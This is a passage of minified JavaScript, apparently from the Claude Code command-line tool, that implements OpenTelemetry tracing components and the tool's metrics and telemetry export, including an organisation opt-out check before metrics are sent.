K={sampler:(0,Za7.buildSamplerFromEnv)()},q=(0,Za7.loadDefaultConfig)(),Y=Object.assign({},q,K,A);return Y.generalLimits=Object.assign({},q.generalLimits,A.generalLimits||{}),Y.spanLimits=Object.assign({},q.spanLimits,A.spanLimits||{}),Y}Wa7.mergeConfig=wX2;function HX2(A){let K=Object.assign({},A.spanLimits);return K.attributeCountLimit=A.spanLimits?.attributeCountLimit??A.generalLimits?.attributeCountLimit??(0,KM1.getNumberFromEnv)("OTEL_SPAN_ATTRIBUTE_COUNT_LIMIT")??(0,KM1.getNumberFromEnv)("OTEL_ATTRIBUTE_COUNT_LIMIT")??Wa7.DEFAULT_ATTRIBUTE_COUNT_LIMIT,K.attributeValueLengthLimit=A.spanLimits?.attributeValueLengthLimit??A.generalLimits?.attributeValueLengthLimit??(0,KM1.getNumberFromEnv)("OTEL_SPAN_ATTRIBUTE_VALUE_LENGTH_LIMIT")??(0,KM1.getNumberFromEnv)("OTEL_ATTRIBUTE_VALUE_LENGTH_LIMIT")??Wa7.DEFAULT_ATTRIBUTE_VALUE_LENGTH_LIMIT,Object.assign({},A,{spanLimits:K})}Wa7.reconfigureLimits=HX2});var Na7=v((Va7)=>{Object.defineProperty(Va7,"__esModule",{value:!0});Va7.BatchSpanProcessorBase=void 0;var SjA=RK(),Xd=P9();class Pa7{_exporter;_maxExportBatchSize;_maxQueueSize;_scheduledDelayMillis;_exportTimeoutMillis;_isExporting=!1;_finishedSpans=[];_timer;_shutdownOnce;_droppedSpansCount=0;constructor(A,K){if(this._exporter=A,this._maxExportBatchSize=typeof K?.maxExportBatchSize==="number"?K.maxExportBatchSize:(0,Xd.getNumberFromEnv)("OTEL_BSP_MAX_EXPORT_BATCH_SIZE")??512,this._maxQueueSize=typeof K?.maxQueueSize==="number"?K.maxQueueSize:(0,Xd.getNumberFromEnv)("OTEL_BSP_MAX_QUEUE_SIZE")??2048,this._scheduledDelayMillis=typeof K?.scheduledDelayMillis==="number"?K.scheduledDelayMillis:(0,Xd.getNumberFromEnv)("OTEL_BSP_SCHEDULE_DELAY")??5000,this._exportTimeoutMillis=typeof K?.exportTimeoutMillis==="number"?K.exportTimeoutMillis:(0,Xd.getNumberFromEnv)("OTEL_BSP_EXPORT_TIMEOUT")??30000,this._shutdownOnce=new Xd.BindOnceFuture(this._shutdown,this),this._maxExportBatchSize>this._maxQueueSize)SjA.diag.warn("BatchSpanProcessor: maxExportBatchSize must be smaller or equal to maxQueueSize, setting maxExportBatchSize to match maxQueueSize"),this._maxExportBatchSize=this._maxQueueSize}forceFlush(){if(this._shutdownOnce.isCalled)return this._shutdownOnce.promise;return this._flushAll()}onStart(A,K){}onEnd(A){if(this._shutdownOnce.isCalled)return;if((A.spanContext().traceFlags&SjA.TraceFlags.SAMPLED)===0)return;this._addToBuffer(A)}shutdown(){return this._shutdownOnce.call()}_shutdown(){return Promise.resolve().then(()=>{return this.onShutdown()}).then(()=>{return this._flushAll()}).then(()=>{return this._exporter.shutdown()})}_addToBuffer(A){if(this._finishedSpans.length>=this._maxQueueSize){if(this._droppedSpansCount===0)SjA.diag.debug("maxQueueSize reached, dropping spans");this._droppedSpansCount++;return}if(this._droppedSpansCount>0)SjA.diag.warn(`Dropped ${this._droppedSpansCount} spans because maxQueueSize reached`),this._droppedSpansCount=0;this._finishedSpans.push(A),this._maybeStartTimer()}_flushAll(){return new Promise((A,K)=>{let q=[],Y=Math.ceil(this._finishedSpans.length/this._maxExportBatchSize);for(let z=0,w=Y;z<w;z++)q.push(this._flushOneBatch());Promise.all(q).then(()=>{A()}).catch(K)})}_flushOneBatch(){if(this._clearTimer(),this._finishedSpans.length===0)return Promise.resolve();return new Promise((A,K)=>{let q=setTimeout(()=>{K(Error("Timeout"))},this._exportTimeoutMillis);SjA.context.with((0,Xd.suppressTracing)(SjA.context.active()),()=>{let Y;if(this._finishedSpans.length<=this._maxExportBatchSize)Y=this._finishedSpans,this._finishedSpans=[];else Y=this._finishedSpans.splice(0,this._maxExportBatchSize);let z=()=>this._exporter.export(Y,(H)=>{if(clearTimeout(q),H.code===Xd.ExportResultCode.SUCCESS)A();else K(H.error??Error("BatchSpanProcessor: span export failed"))}),w=null;for(let H=0,J=Y.length;H<J;H++){let O=Y[H];if(O.resource.asyncAttributesPending&&O.resource.waitForAsyncAttributes)w??=[],w.push(O.resource.waitForAsyncAttributes())}if(w===null)z();else Promise.all(w).then(z,(H)=>{(0,Xd.globalErrorHandler)(H),K(H)})})})}_maybeStartTimer(){if(this._isExporting)return;let A=()=>{this._isExporting=!0,this._flushOneBatch().finally(()=>{if(this._isExporting=!1,this._finishedSpans.length>0)this._clearTimer(),this._maybeStartTimer()}).catch((K)=>{this._isExporting=!1,(0,Xd.globalErrorHandler)(K)})};if(this._finishedSpans.length>=this._maxExportBatchSize)return A();if(this._timer!==void 0)return;if(this._timer=setTimeout(()=>A(),this._scheduledDelayMillis),typeof this._timer!=="number")this._timer.unref()}_clearTimer(){if(this._timer!==void 0)clearTimeout(this._timer),this._timer=void 0}}Va7.BatchSpanProcessorBase=Pa7});var ka7=v((va7)=>{Object.defineProperty(va7,"__esModule",{value:!0});va7.BatchSpanProcessor=void 0;var OX2=Na7();class Ta7 extends OX2.BatchSpanProcessorBase{onShutdown(){}}va7.BatchSpanProcessor=Ta7});var Sa7=v((ya7)=>{Object.defineProperty(ya7,"__esModule",{value:!0});ya7.RandomIdGenerator=void 0;var XX2=8,La7=16;class Ra7{generateTraceId=Ca7(La7);generateSpanId=Ca7(XX2)}ya7.RandomIdGenerator=Ra7;var qM1=Buffer.allocUnsafe(La7);function Ca7(A){return function(){for(let q=0;q<A/4;q++)qM1.writeUInt32BE(Math.random()*4294967296>>>0,q*4);for(let q=0;q<A;q++)if(qM1[q]>0)break;else if(q===A-1)qM1[A-1]=1;return qM1.toString("hex",0,A)}}});var ha7=v((YM1)=>{Object.defineProperty(YM1,"__esModule",{value:!0});YM1.RandomIdGenerator=YM1.BatchSpanProcessor=void 0;var $X2=ka7();Object.defineProperty(YM1,"BatchSpanProcessor",{enumerable:!0,get:function(){return $X2.BatchSpanProcessor}});var _X2=Sa7();Object.defineProperty(YM1,"RandomIdGenerator",{enumerable:!0,get:function(){return _X2.RandomIdGenerator}})});var RL6=v((zM1)=>{Object.defineProperty(zM1,"__esModule",{value:!0});zM1.RandomIdGenerator=zM1.BatchSpanProcessor=void 0;var ba7=ha7();Object.defineProperty(zM1,"BatchSpanProcessor",{enumerable:!0,get:function(){return ba7.BatchSpanProcessor}});Object.defineProperty(zM1,"RandomIdGenerator",{enumerable:!0,get:function(){return ba7.RandomIdGenerator}})});var ma7=v((ua7)=>{Object.defineProperty(ua7,"__esModule",{value:!0});ua7.Tracer=void 0;var VW=RK(),wM1=P9(),WX2=lo7(),DX2=LL6(),jX2=RL6();class xa7{_sampler;_generalLimits;_spanLimits;_idGenerator;instrumentationScope;_resource;_spanProcessor;constructor(A,K,q,Y){let z=(0,DX2.mergeConfig)(K);this._sampler=z.sampler,this._generalLimits=z.generalLimits,this._spanLimits=z.spanLimits,this._idGenerator=K.idGenerator||new jX2.RandomIdGenerator,this._resource=q,this._spanProcessor=Y,this.instrumentationScope=A}startSpan(A,K={},q=VW.context.active()){if(K.root)q=VW.trace.deleteSpan(q);let Y=VW.trace.getSpan(q);if((0,wM1.isTracingSuppressed)(q))return VW.diag.debug("Instrumentation suppressed, returning Noop Span"),VW.trace.wrapSpanContext(VW.INVALID_SPAN_CONTEXT);let z=Y?.spanContext(),w=this._idGenerator.generateSpanId(),H,J,O;if(!z||!VW.trace.isSpanContextValid(z))J=this._idGenerator.generateTraceId();else J=z.traceId,O=z.traceState,H=z;let X=K.kind??VW.SpanKind.INTERNAL,$=(K.links??[]).map((M)=>{return{context:M.context,attributes:(0,wM1.sanitizeAttributes)(M.attributes)}}),_=(0,wM1.sanitizeAttributes)(K.attributes),G=this._sampler.shouldSample(q,J,A,X,_,$);O=G.traceState??O;let Z=G.decision===VW.SamplingDecision.RECORD_AND_SAMPLED?VW.TraceFlags.SAMPLED:VW.TraceFlags.NONE,W={traceId:J,spanId:w,traceFlags:Z,traceState:O};if(G.decision===VW.SamplingDecision.NOT_RECORD)return VW.diag.debug("Recording is off, propagating context in a non-recording span"),VW.trace.wrapSpanContext(W);let D=(0,wM1.sanitizeAttributes)(Object.assign(_,G.attributes));return new WX2.SpanImpl({resource:this._resource,scope:this.instrumentationScope,context:q,spanContext:W,name:A,kind:X,links:$,parentSpanContext:H,attributes:D,startTime:K.startTime,spanProcessor:this._spanProcessor,spanLimits:this._spanLimits})}startActiveSpan(A,K,q,Y){let z,w,H;if(arguments.length<2)return;else if(arguments.length===2)H=K;else if(arguments.length===3)z=K,H=q;else z=K,w=q,H=Y;let J=w??VW.context.active(),O=this.startSpan(A,z,J),X=VW.trace.setSpan(J,O);return VW.context.with(X,H,void 0,O)}getGeneralLimits(){return this._generalLimits}getSpanLimits(){return this._spanLimits}}ua7.Tracer=xa7});var Ua7=v((Fa7)=>{Object.defineProperty(Fa7,"__esModule",{value:!0});Fa7.MultiSpanProcessor=void 0;var MX2=P9();class ga7{_spanProcessors;constructor(A){this._spanProcessors=A}forceFlush(){let A=[];for(let K of this._spanProcessors)A.push(K.forceFlush());return new Promise((K)=>{Promise.all(A).then(()=>{K()}).catch((q)=>{(0,MX2.globalErrorHandler)(q||Error("MultiSpanProcessor: forceFlush failed")),K()})})}onStart(A,K){for(let q of this._spanProcessors)q.onStart(A,K)}onEnd(A){for(let K of this._spanProcessors)K.onEnd(A)}shutdown(){let A=[];for(let K of this._spanProcessors)A.push(K.shutdown());return new Promise((K,q)=>{Promise.all(A).then(()=>{K()},q)})}}Fa7.MultiSpanProcessor=ga7});var ia7=v((ca7)=>{Object.defineProperty(ca7,"__esModule",{value:!0});ca7.BasicTracerProvider=ca7.ForceFlushState=void 0;var PX2=P9(),VX2=eXA(),fX2=ma7(),NX2=CL6(),TX2=Ua7(),vX2=LL6(),hjA;(function(A){A[A.resolved=0]="resolved",A[A.timeout=1]="timeout",A[A.error=2]="error",A[A.unresolved=3]="unresolved"})(hjA=ca7.ForceFlushState||(ca7.ForceFlushState={}));class da7{_config;_tracers=new Map;_resource;_activeSpanProcessor;constructor(A={}){let K=(0,PX2.merge)({},(0,NX2.loadDefaultConfig)(),(0,vX2.reconfigureLimits)(A));this._resource=K.resource??(0,VX2.defaultResource)(),this._config=Object.assign({},K,{resource:this._resource});let q=[];if(A.spanProcessors?.length)q.push(...A.spanProcessors);this._activeSpanProcessor=new TX2.MultiSpanProcessor(q)}getTracer(A,K,q){let Y=`${A}@${K||""}:${q?.schemaUrl||""}`;if(!this._tracers.has(Y))this._tracers.set(Y,new fX2.Tracer({name:A,version:K,schemaUrl:q?.schemaUrl},this._config,this._resource,this._activeSpanProcessor));return this._tracers.get(Y)}forceFlush(){let A=this._config.forceFlushTimeoutMillis,K=this._activeSpanProcessor._spanProcessors.map((q)=>{return new Promise((Y)=>{let z,w=setTimeout(()=>{Y(Error(`Span processor did not completed within timeout period of ${A} ms`)),z=hjA.timeout},A);q.forceFlush().then(()=>{if(clearTimeout(w),z!==hjA.timeout)z=hjA.resolved,Y(z)}).catch((H)=>{clearTimeout(w),z=hjA.error,Y(H)})})});return new Promise((q,Y)=>{Promise.all(K).then((z)=>{let w=z.filter((H)=>H!==hjA.resolved);if(w.length>0)Y(w);else q()}).catch((z)=>Y([z]))})}shutdown(){return this._activeSpanProcessor.shutdown()}}ca7.BasicTracerProvider=da7});var aa7=v((ra7)=>{Object.defineProperty(ra7,"__esModule",{value:!0});ra7.ConsoleSpanExporter=void 0;var yL6=P9();class na7{export(A,K){return this._sendSpans(A,K)}shutdown(){return this._sendSpans([]),this.forceFlush()}forceFlush(){return Promise.resolve()}_exportInfo(A){return{resource:{attributes:A.resource.attributes},instrumentationScope:A.instrumentationScope,traceId:A.spanContext().traceId,parentSpanContext:A.parentSpanContext,traceState:A.spanContext().traceState?.serialize(),name:A.name,id:A.spanContext().spanId,kind:A.kind,timestamp:(0,yL6.hrTimeToMicroseconds)(A.startTime),duration:(0,yL6.hrTimeToMicroseconds)(A.duration),attributes:A.attributes,status:A.status,events:A.events,links:A.links}}_sendSpans(A,K){for(let q of A)console.dir(this._exportInfo(q),{depth:3});if(K)return K({code:yL6.ExportResultCode.SUCCESS})}}ra7.ConsoleSpanExporter=na7});var Ks7=v((ea7)=>{Object.defineProperty(ea7,"__esModule",{value:!0});ea7.InMemorySpanExporter=void 0;var sa7=P9();class ta7{_finishedSpans=[];_stopped=!1;export(A,K){if(this._stopped)return K({code:sa7.ExportResultCode.FAILED,error:Error("Exporter has been stopped")});this._finishedSpans.push(...A),setTimeout(()=>K({code:sa7.ExportResultCode.SUCCESS}),0)}shutdown(){return this._stopped=!0,this._finishedSpans=[],this.forceFlush()}forceFlush(){return Promise.resolve()}reset(){this._finishedSpans=[]}getFinishedSpans(){return this._finishedSpans}}ea7.InMemorySpanExporter=ta7});var ws7=v((Ys7)=>{Object.defineProperty(Ys7,"__esModule",{value:!0});Ys7.SimpleSpanProcessor=void 0;var EX2=RK(),HM1=P9();class qs7{_exporter;_shutdownOnce;_pendingExports;constructor(A){this._exporter=A,this._shutdownOnce=new HM1.BindOnceFuture(this._shutdown,this),this._pendingExports=new Set}async forceFlush(){if(await Promise.all(Array.from(this._pendingExports)),this._exporter.forceFlush)await this._exporter.forceFlush()}onStart(A,K){}onEnd(A){if(this._shutdownOnce.isCalled)return;if((A.spanContext().traceFlags&EX2.TraceFlags.SAMPLED)===0)return;let K=this._doExport(A).catch((q)=>(0,HM1.globalErrorHandler)(q));this._pendingExports.add(K),K.finally(()=>this._pendingExports.delete(K))}async _doExport(A){if(A.resource.asyncAttributesPending)await A.resource.waitForAsyncAttributes?.();let K=await HM1.internal._export(this._exporter,[A]);if(K.code!==HM1.ExportResultCode.SUCCESS)throw K.error??Error(`SimpleSpanProcessor: span export failed (status ${K})`)}shutdown(){return this._shutdownOnce.call()}_shutdown(){return this._exporter.shutdown()}}Ys7.SimpleSpanProcessor=qs7});var Xs7=v((Js7)=>{Object.defineProperty(Js7,"__esModule",{value:!0});Js7.NoopSpanProcessor=void 0;class Hs7{onStart(A,K){}onEnd(A){}shutdown(){return Promise.resolve()}forceFlush(){return Promise.resolve()}}Js7.NoopSpanProcessor=Hs7});var _s7=v((Qf)=>{Object.defineProperty(Qf,"__esModule",{value:!0});Qf.SamplingDecision=Qf.TraceIdRatioBasedSampler=Qf.ParentBasedSampler=Qf.AlwaysOnSampler=Qf.AlwaysOffSampler=Qf.NoopSpanProcessor=Qf.SimpleSpanProcessor=Qf.InMemorySpanExporter=Qf.ConsoleSpanExporter=Qf.RandomIdGenerator=Qf.BatchSpanProcessor=Qf.BasicTracerProvider=void 0;var kX2=ia7();Object.defineProperty(Qf,"BasicTracerProvider",{enumerable:!0,get:function(){return kX2.BasicTracerProvider}});var $s7=RL6();Object.defineProperty(Qf,"BatchSpanProcessor",{enumerable:!0,get:function(){return $s7.BatchSpanProcessor}});Object.defineProperty(Qf,"RandomIdGenerator",{enumerable:!0,get:function(){return $s7.RandomIdGenerator}});var CX2=aa7();Object.defineProperty(Qf,"ConsoleSpanExporter",{enumerable:!0,get:function(){return CX2.ConsoleSpanExporter}});var LX2=Ks7();Object.defineProperty(Qf,"InMemorySpanExporter",{enumerable:!0,get:function(){return LX2.InMemorySpanExporter}});var RX2=ws7();Object.defineProperty(Qf,"SimpleSpanProcessor",{enumerable:!0,get:function(){return RX2.SimpleSpanProcessor}});var yX2=Xs7();Object.defineProperty(Qf,"NoopSpanProcessor",{enumerable:!0,get:function(){return yX2.NoopSpanProcessor}});var IX2=aj1();Object.defineProperty(Qf,"AlwaysOffSampler",{enumerable:!0,get:function(){return IX2.AlwaysOffSampler}});var SX2=sj1();Object.defineProperty(Qf,"AlwaysOnSampler",{enumerable:!0,get:function(){return SX2.AlwaysOnSampler}});var hX2=TL6();Object.defineProperty(Qf,"ParentBasedSampler",{enumerable:!0,get:function(){return hX2.ParentBasedSampler}});var bX2=vL6();Object.defineProperty(Qf,"TraceIdRatioBasedSampler",{enumerable:!0,get:function(){return bX2.TraceIdRatioBasedSampler}});var xX2=gFA();Object.defineProperty(Qf,"SamplingDecision",{enumerable:!0,get:function(){return xX2.SamplingDecision}})});var js7=v((Ws7)=>{Object.defineProperty(Ws7,"__esModule",{value:!0});Ws7.OTLPTraceExporter=void 0;var BX2=EB(),mX2=LB(),Gs7=sp();class Zs7 extends BX2.OTLPExporterBase{constructor(A={}){super((0,Gs7.createOtlpHttpExportDelegate)((0,Gs7.convertLegacyHttpOptions)(A,"TRACES","v1/traces",{"Content-Type":"application/x-protobuf"}),mX2.ProtobufTraceSerializer))}}Ws7.OTLPTraceExporter=Zs7});var Ms7=v((IL6)=>{Object.defineProperty(IL6,"__esModule",{value:!0});IL6.OTLPTraceExporter=void 0;var gX2=js7();Object.defineProperty(IL6,"OTLPTraceExporter",{enumerable:!0,get:function(){return gX2.OTLPTraceExporter}})});var Ps7=v((SL6)=>{Object.defineProperty(SL6,"__esModule",{value:!0});SL6.OTLPTraceExporter=void 0;var QX2=Ms7();Object.defineProperty(SL6,"OTLPTraceExporter",{enumerable:!0,get:function(){return QX2.OTLPTraceExporter}})});var Vs7=v((hL6)=>{Object.defineProperty(hL6,"__esModule",{value:!0});hL6.OTLPTraceExporter=void 0;var pX2=Ps7();Object.defineProperty(hL6,"OTLPTraceExporter",{enumerable:!0,get:function(){return pX2.OTLPTraceExporter}})});var Es7=v((Ts7)=>{Object.defineProperty(Ts7,"__esModule",{value:!0});Ts7.OTLPTraceExporter=void 0;var fs7=ij1(),cX2=LB(),lX2=EB();class Ns7 extends lX2.OTLPExporterBase{constructor(A={}){super((0,fs7.createOtlpGrpcExportDelegate)((0,fs7.convertLegacyOtlpGrpcOptions)(A,"TRACES"),cX2.ProtobufTraceSerializer,"TraceExportService","/opentelemetry.proto.collector.trace.v1.TraceService/Export"))}}Ts7.OTLPTraceExporter=Ns7});var ks7=v((bL6)=>{Object.defineProperty(bL6,"__esModule",{value:!0});bL6.OTLPTraceExporter=void 0;var iX2=Es7();Object.defineProperty(bL6,"OTLPTraceExporter",{enumerable:!0,get:function(){return iX2.OTLPTraceExporter}})});var Is7=v((Rs7)=>{Object.defineProperty(Rs7,"__esModule",{value:!0});Rs7.OTLPTraceExporter=void 0;var rX2=EB(),oX2=LB(),Cs7=sp();class Ls7 extends rX2.OTLPExporterBase{constructor(A={}){super((0,Cs7.createOtlpHttpExportDelegate)((0,Cs7.convertLegacyHttpOptions)(A,"TRACES","v1/traces",{"Content-Type":"application/json"}),oX2.JsonTraceSerializer))}}Rs7.OTLPTraceExporter=Ls7});var Ss7=v((xL6)=>{Object.defineProperty(xL6,"__esModule",{value:!0});xL6.OTLPTraceExporter=void 0;var aX2=Is7();Object.defineProperty(xL6,"OTLPTraceExporter",{enumerable:!0,get:function(){return aX2.OTLPTraceExporter}})});var hs7=v((uL6)=>{Object.defineProperty(uL6,"__esModule",{value:!0});uL6.OTLPTraceExporter=void 0;var tX2=Ss7();Object.defineProperty(uL6,"OTLPTraceExporter",{enumerable:!0,get:function(){return tX2.OTLPTraceExporter}})});var bs7=v((BL6)=>{Object.defineProperty(BL6,"__esModule",{value:!0});BL6.OTLPTraceExporter=void 0;var A$2=hs7();Object.defineProperty(BL6,"OTLPTraceExporter",{enumerable:!0,get:function(){return A$2.OTLPTraceExporter}})});class mL6{error(A,...K){KA(Error(A))}warn(A,...K){KA(Error(A))}info(A,...K){return}debug(A,...K){return}verbose(A,...K){return}}var xs7=k(()=>{C1()});async function Y$2(){let A=BH();if(A.error)throw h(`Metrics opt-out check failed: ${A.error}`),Error(`Auth error: ${A.error}`);let K={"Content-Type":"application/json","User-Agent":uH(),...A.headers};try{let Y=await A8.get("https://api.anthropic.com/api/claude_code/organizations/metrics_enabled",{headers:K,timeout:5000});return h(`Metrics opt-out API response: enabled=${Y.data.metrics_logging_enabled}, vcsLinking=${Y.data.vcs_account_linking_enabled}`),{enabled:Y.data.metrics_logging_enabled,vcsAccountLinkingEnabled:Y.data.vcs_account_linking_enabled,hasError:!1}}catch(q){return h(`Failed to check metrics opt-out status: ${q instanceof Error?q.message:String(q)}`),KA(q),{enabled:!1,vcsAccountLinkingEnabled:!1,hasError:!0}}}async function JM1(){try{return await z$2()}catch(A){return h("Metrics check failed, defaulting to disabled"),{enabled:!1,vcsAccountLinkingEnabled:!1,hasError:!0}}}var q$2=3600000,z$2;var gL6=k(()=>{n3();Rq1();JG();Z1();C1();z$2=Lq1(Y$2,q$2)});class QL6{endpoint;timeout;pendingExports=[];isShutdown=!1;constructor(A={}){this.endpoint="https://api.anthropic.com/api/claude_code/metrics",this.timeout=A.timeout||5000}async export(A,K){if(this.isShutdown){K({code:O3A.ExportResultCode.FAILED,error:Error("Exporter has been shutdown")});return}let q=this.doExport(A,K);this.pendingExports.push(q),q.finally(()=>{let Y=this.pendingExports.indexOf(q);if(Y>-1)this.pendingExports.splice(Y,1)})}async doExport(A,K){try{if(!(Dw(!0)||b7())){h("BigQuery metrics export: trust not established, skipping"),K({code:O3A.ExportResultCode.SUCCESS});return}if(!(await JM1()).enabled){h("Metrics export disabled by organization setting"),K({code:O3A.ExportResultCode.SUCCESS});return}let z=this.transformMetricsForInternal(A),w=BH();if(w.error){h(`Metrics export failed: ${w.error}`),K({code:O3A.ExportResultCode.FAILED,error:Error(w.error)});return}let H={"Content-Type":"application/json","User-Agent":uH(),...w.headers},J=await A8.post(this.endpoint,z,{timeout:this.timeout,headers:H});h("BigQuery metrics exported successfully"),h(`BigQuery API Response: ${UA(J.data,null,2)}`),K({code:O3A.ExportResultCode.SUCCESS})}catch(q){h(`BigQuery metrics export failed: ${q instanceof Error?q.message:String(q)}`),KA(q),K({code:O3A.ExportResultCode.FAILED,error:q instanceof Error?q:Error("Unknown export error")})}}transformMetricsForInternal(A){let K=A.resource.attributes,q={"service.name":K["service.name"]||"claude-code","service.version":K["service.version"]||"unknown","os.type":K["os.type"]||"unknown","os.version":K["os.version"]||"unknown","host.arch":K["host.arch"]||"unknown","aggregation.temporality":this.selectAggregationTemporality()===FL6.AggregationTemporality.DELTA?"delta":"cumulative"};if(K["wsl.version"])q["wsl.version"]=K["wsl.version"];if(Z4()){q["user.customer_type"]="claude_ai";let z=Uq();if(z)q["user.subscription_type"]=z}else q["user.customer_type"]="api";return{resource_attributes:q,metrics:A.scopeMetrics.flatMap((z)=>z.metrics.map((w)=>({name:w.descriptor.name,description:w.descriptor.description,unit:w.descriptor.unit,data_points:this.extractDataPoints(w)})))}}extractDataPoints(A){return(A.dataPoints||[]).filter((q)=>typeof q.value==="number").map((q)=>({attributes:this.convertAttributes(q.attributes),value:q.value,timestamp:this.hrTimeToISOString(q.endTime||q.startTime||[Date.now()/1000,0])}))}async shutdown(){this.isShutdown=!0,await this.forceFlush(),h("BigQuery metrics exporter shutdown complete")}async forceFlush(){await Promise.all(this.pendingExports),h("BigQuery metrics exporter flush complete")}convertAttributes(A){let K={};if(A){for(let[q,Y]of Object.entries(A))if(Y!==void 0&&Y!==null)K[q]=String(Y)}return K}hrTimeToISOString(A){let[K,q]=A;return new Date(K*1000+q/1e6).toISOString()}selectAggregationTemporality(){return FL6.AggregationTemporality.DELTA}}var FL6,O3A;var us7=k(()=>{n3();Z1();C1();JG();gL6();x4();i6();q6();b1();FL6=o(ss(),1),O3A=o(P9(),1)});function H$2(){if(!process.env.OTEL_EXPORTER_OTLP_METRICS_TEMPORALITY_PREFERENCE)process.env.OTEL_EXPORTER_OTLP_METRICS_TEMPORALITY_PREFERENCE="delta"}function J$2(){let A=(process.env.OTEL_METRICS_EXPORTER||"").trim().split(",").filter(Boolean),K=parseInt(process.env.OTEL_METRIC_EXPORT_INTERVAL||w$2.toString()),q=[];for(let Y of A)if(Y==="console"){let z=new QFA.ConsoleMetricExporter,w=z.export.bind(z);z.export=(H,J)=>{if(H.resource&&H.resource.attributes)h(` === Resource Attributes ===`),h(UA(H.resource.attributes)),h(`=========================== `);return w(H,J)},q.push(z)}else if(Y==="otlp"){let z=process.env.OTEL_EXPORTER_OTLP_METRICS_PROTOCOL?.trim()||process.env.OTEL_EXPORTER_OTLP_PROTOCOL?.trim(),w=iL6();switch(z){case"grpc":q.push(new ms7.OTLPMetricExporter);break;case"http/json":q.push(new gs7.OTLPMetricExporter(w));break;case"http/protobuf":q.push(new Bs7.OTLPMetricExporter(w));break;default:throw Error(`Unknown protocol set in OTEL_EXPORTER_OTLP_METRICS_PROTOCOL or OTEL_EXPORTER_OTLP_PROTOCOL env var: ${z}`)}}else if(Y==="prometheus")q.push(new Fs7.PrometheusExporter);else throw Error(`Unknown exporter type set in OTEL_EXPORTER_OTLP_METRICS_PROTOCOL or OTEL_EXPORTER_OTLP_PROTOCOL env var: ${Y}`);return q.map((Y)=>{if("export"in Y)return new dL6.PeriodicExportingMetricReader({exporter:Y,exportIntervalMillis:K});return Y})}function O$2(){let A=(process.env.OTEL_LOGS_EXPORTER||"").trim().split(",").filter(Boolean),K=[];for(let q of A)if(q==="console")K.push(new Vt.ConsoleLogRecordExporter);else if(q==="otlp"){let Y=process.env.OTEL_EXPORTER_OTLP_LOGS_PROTOCOL?.trim()||process.env.OTEL_EXPORTER_OTLP_PROTOCOL?.trim(),z=iL6();switch(Y){case"grpc":K.push(new Us7.OTLPLogExporter);break;case"http/json":K.push(new cL6.OTLPLogExporter(z));break;case"http/protobuf":K.push(new Qs7.OTLPLogExporter(z));break;default:throw Error(`Unknown protocol set in OTEL_EXPORTER_OTLP_LOGS_PROTOCOL or OTEL_EXPORTER_OTLP_PROTOCOL env var: ${Y}`)}}else throw Error(`Unknown exporter type set in OTEL_LOGS_EXPORTER env var: ${q}`);return K}function X$2(){let A=(process.env.OTEL_TRACES_EXPORTER||"").trim().split(",").filter(Boolean),K=[];for(let q of A)if(q==="console")K.push(new ft.ConsoleSpanExporter);else if(q==="otlp"){let Y=process.env.OTEL_EXPORTER_OTLP_TRACES_PROTOCOL?.trim()||process.env.OTEL_EXPORTER_OTLP_PROTOCOL?.trim(),z=iL6();switch(Y){case"grpc":K.push(new ds7.OTLPTraceExporter);break;case"http/json":K.push(new lL6.OTLPTraceExporter(z));break;case"http/protobuf":K.push(new ps7.OTLPTraceExporter(z));break;default:throw Error(`Unknown protocol set in OTEL_EXPORTER_OTLP_TRACES_PROTOCOL or OTEL_EXPORTER_OTLP_PROTOCOL env var: ${Y}`)}}else throw Error(`Unknown exporter type set in OTEL_TRACES_EXPORTER env var: ${q}`);return K}function UL6(){return P1(process.env.CLAUDE_CODE_ENABLE_TELEMETRY)}function $$2(){let A=new QL6;return new dL6.PeriodicExportingMetricReader({exporter:A,exportIntervalMillis:300000})}function _$2(){let A=Uq(),K=Z4()&&(A==="enterprise"||A==="team");return j91()||K}function G$2(A){let K=process.env.BETA_TRACING_ENDPOINT;if(!K)return;let q={url:`${K}/v1/traces`},Y={url:`${K}/v1/logs`},z=new lL6.OTLPTraceExporter(q),w=new ft.BatchSpanProcessor(z,{scheduledDelayMillis:ls7}),H=new ft.BasicTracerProvider({resource:A,spanProcessors:[w]});X3A.trace.setGlobalTracerProvider(H),MR1(H);let J=new cL6.OTLPLogExporter(Y),O=new Vt.LoggerProvider({resource:A,processors:[new Vt.BatchLogRecordProcessor(J,{scheduledDelayMillis:cs7})]});FFA.logs.setGlobalLoggerProvider(O),WR1(O);let X=FFA.logs.getLogger("com.anthropic.claude_code.events",{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION);DR1(X),process.on("beforeExit",async()=>{await O?.forceFlush(),await H?.forceFlush()}),process.on("exit",()=>{O?.forceFlush(),H?.forceFlush()})}function is7(){wK("telemetry_init_start"),H$2(),X3A.diag.setLogger(new mL6,X3A.DiagLogLevel.ERROR),KP7();let A=[];if(UL6())A.push(...J$2());if(_$2())A.push($$2());let K=o6(),q={[Pt.ATTR_SERVICE_NAME]:"claude-code",[Pt.ATTR_SERVICE_VERSION]:{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION};if(K==="wsl"){let G=h1A();if(G)q["wsl.version"]=G}let Y=vS.resourceFromAttributes(q),z=vS.resourceFromAttributes(vS.osDetector.detect().attributes||{}),w=vS.hostDetector.detect(),H=w.attributes?.[Pt.SEMRESATTRS_HOST_ARCH]?{[Pt.SEMRESATTRS_HOST_ARCH]:w.attributes[Pt.SEMRESATTRS_HOST_ARCH]}:{},J=vS.resourceFromAttributes(H),O=vS.resourceFromAttributes(vS.envDetector.detect().attributes||{}),X=Y.merge(z).merge(J).merge(O);if(V$()){G$2(X);let G=new QFA.MeterProvider({resource:X,views:[],readers:A});return jR1(G),kK(async()=>{let W=parseInt(process.env.CLAUDE_CODE_OTEL_SHUTDOWN_TIMEOUT_MS||"2000");try{DmA();let D=unA(),j=HzA(),M=[];if(D)M.push(D.forceFlush());if(j)M.push(j.forceFlush());await Promise.all(M);let P=[G.shutdown()];if(D)P.push(D.shutdown());if(j)P.push(j.shutdown());await Promise.race([Promise.all(P),new Promise((f,N)=>setTimeout(()=>N(Error("OpenTelemetry shutdown 